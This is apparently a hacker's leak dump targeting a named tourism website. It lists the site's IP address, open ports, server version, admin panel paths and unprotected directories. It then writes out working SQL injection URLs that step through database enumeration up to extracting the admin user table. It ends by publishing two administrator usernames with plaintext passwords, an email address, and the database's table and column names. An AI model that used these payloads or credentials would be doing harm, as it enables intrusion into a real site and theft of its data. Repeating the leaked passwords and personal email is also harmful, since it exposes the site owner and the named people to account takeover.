Leak On Sunsets.com

	 __________	 ________
	|__________|	|	|
	     | |	|   ____|
	     | |	|  |
	     | |	|  |____
	     |_|   ()	|_______| ()
----------------------------------------
Database Information:


Username/Email: sunsetsdbevent@localhost

################################
_______________________________
###############################
Vulnerable Links [OPEN]:

http://www.sunsets.com/Connections/

http://www.sunsets.com/includes/

http://www.sunsets.com/images

http://www.sunsets.com/flash/
_______________________________
Url: sunsets.com/robots.txt


File: robots.txt


###############################
#

User-agent: *

# list folders robots are not allowed to index

Disallow: /images/
Disallow: /includes/
Disallow: /adminweb/
Disallow: /adminsun/
Disallow: /error/
Disallow: /flash/
Disallow: /Connections/


#
# list specific files robots are not allowed to index
#
Disallow: /tutorials/meta_tags.html
Disallow: /tutorials/custom_error_page.html
#
# End of robots.txt file
#
###############################
######################################
--------------------------------------
Site IP: 216.227.221.116


Open Ports:

22


53


80


110


443


2083


2087


3306


Info On Site:

HTTP Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_
auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635


Powered By : None


Last Modified : None
______________________________________________
Administrator Panels:

www.sunsets.com/controlpanel/

www.sunsets.com/cpanel/

www.sunsets.com/home.html

www.sunsets.com/kpanel/

http://www.sunsets.com/adminweb/

http://www.sunsets.com/adminsun/
_______________________________________________
http://www.sunsets.com/kincardine/index.php - Regular Website


VULN/SQLi Link: http://www.sunsets.com/kincardine/picture.php?ID=69'


Tables: 18
[error on 19]


Link To Vuln: http://www.sunsets.com/kincardine/picture.php?ID=null%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


Version: http://www.sunsets.com/kincardine/picture.php?ID=null%20union%20select%201,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


Version: 5.1.70-cll


Link For Tables: http://www.sunsets.com/kincardine/picture.php?ID=null%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20information_schema.tables%20where%20table_schema=database%28%29--


Link for Columns: www.sunsets.com/kincardine/picture.php?ID=null union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_schema=database()--



Link To Leak Users: http://www.sunsets.com/kincardine/picture.php?ID=null%20union%20select%201,2,3,group_concat%28Username,0x3a,Password,0x3a,EmailAddress%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20AdminUsers--



Users/Admin's:

Username: webmaster


Password: w9bsmart


Email: osmart@owensound.ca
-----------------------------

Username: kinctourism

Password: cculture*Met

Email: Unknown
------------------------------------
Tables:

Activities

AdminMenu - Possibility

AdminUsers -Yes

Comments

Comments_Type

Corporate

Customer_Type

Customers -Yes

Faq

Faq_categories

FeatureLinks

FeatureLinks_Category

ImageWrap

Images

ImagesSource

ImagesType

Images_Flash

Images_Main

Links

LinksCategory

Navigation

News

News_Type

Newsletter

Orders

Pages

Product_Images

Products

Report

menu_mnu

navigation_menu
--------------------------------
Columns:

[Main]

Username

Password

EmailAddress


Email


UserID


AdministratorLevel


Address


Phone


Name



ActivityID,Title,Description,ExpandedContent,Content,Category,CategoryTwo,Sort,Display,Web,WebLink,WebTarget,Updated,AdminMID,MLabel,MLabelDesc,MLink,MDisplay,MSort,MTarget,AdministratorLevel,Webmaster,UserID,Username,Password,Level,FirstName,LastName,Department,EmailAddress,Webmaster,CommentID,CommentType,Comment,DisplayComment,SortComment,Name,Community,StateCountry,ApprovedComment,UpdatedComment,CtID,TypeLabel,TypeSort,InfoID,Organization,ShortDescription,Address,Phone,Fax,Email,OfficeHours,Copyright,CTypeID,CLabel,Comment,CSort,CustomerID,Type,Customer,Description,Location,DisplayLink,WebLink,CustomerSort,DisplayCustomer,Updated,FaqID,FCategory,Question,Content,FDisplay,FSort,Random,UseImage,Image,Updated,FaqCatID,Category,FCatSort,FCatDisplay,LinkID,DisplayListing,ShowOnList,Type,Category,Title,Description,ExpandedContent,Content,WebAddress,Target,Sort,UseImage,ImageFile,Comments,Updated,FCID,Label,DisplayCat,SortCat,WrapID,Direction,ImageID,Cover,MainImage,Title,ImageCategory,ImageFile,Size,Price,Propor